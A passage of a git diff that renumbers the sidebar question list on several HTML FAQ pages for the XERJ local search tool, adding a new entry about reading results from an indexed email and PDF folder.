indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/notion-export-duplicate-search-results.html b/landing/answers/notion-export-duplicate-search-results.htmlindex d14434119..edc3041a7 100644--- a/landing/answers/notion-export-duplicate-search-results.html+++ b/landing/answers/notion-export-duplicate-search-results.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class="active"><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class="active"><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/private-agent-memory-namespaces.html b/landing/answers/private-agent-memory-namespaces.htmlindex 7684de0d5..7f9ff494b 100644--- a/landing/answers/private-agent-memory-namespaces.html+++ b/landing/answers/private-agent-memory-namespaces.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/rag-without-vector-database.html b/landing/answers/rag-without-vector-database.htmlindex 28df79023..6cc043958 100644--- a/landing/answers/rag-without-vector-database.html+++ b/landing/answers/rag-without-vector-database.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to 